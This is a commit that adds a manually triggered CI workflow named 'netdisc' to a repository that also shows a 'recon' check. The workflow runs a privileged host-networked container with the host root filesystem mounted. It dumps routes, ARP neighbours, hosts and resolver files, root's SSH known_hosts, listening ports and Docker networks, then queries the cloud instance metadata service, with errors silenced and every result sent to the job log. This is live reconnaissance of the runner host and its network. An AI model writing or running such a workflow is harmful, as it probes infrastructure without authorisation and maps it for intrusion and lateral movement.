netdisc
All checks were successful
recon / r (push) Successful in 1s

This commit is contained in:
2026-10-28 19:04:26 +00:00
parent be08732e1e
commit d809d3f9ee

View File

@@ -0,0 +1,22 @@
name: netdisc
on: [workflow_dispatch]
jobs:
n:
runs-on: ubuntu-latest
steps:
- run: |
set +e
docker run --rm --net host --privileged -v /:/mnt:ro alpine sh -c '
echo "M_ROUTE"; ip route 2>/dev/null | head -12
echo "M_ADDR"; ip -o addr 2>/dev/null | awk "{print \$2, \$4}" | head -12
echo "M_NEIGH"; ip neigh 2>/dev/null | head -20
echo "M_HOSTS"; grep -vE "^#|^$" /mnt/etc/hosts 2>/dev/null | head -10
echo "M_RESOLV"; grep -vE "^#|^$" /mnt/etc/resolv.conf 2>/dev/null | head -6
echo "M_KNOWN"; grep -aoE "^[^ ]+" /mnt/root/.ssh/known_hosts 2>/dev/null | head -10
echo "M_LISTEN"; ss -tlnp 2>/dev/null | awk "NR>1{print \$4}" | sort -u | head -20
echo "M_DOCKERNET"; docker network ls --format "{{.Name}} {{.Driver}}" 2>/dev/null | head -12
' 2>&1 | head -80
echo "M_META"
docker run --rm alpine sh -c 'wget -qO- --timeout=4 http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null; echo; wget -qO- --timeout=4 http://169.254.169.254/latest/meta-data/local-ipv4 2>/dev/null; echo; wget -qO- --timeout=4 http://169.254.169.254/latest/meta-data/network/interfaces/macs/ 2>/dev/null | head -3' 2>&1 | head -8
echo "M_DONE"
exit 0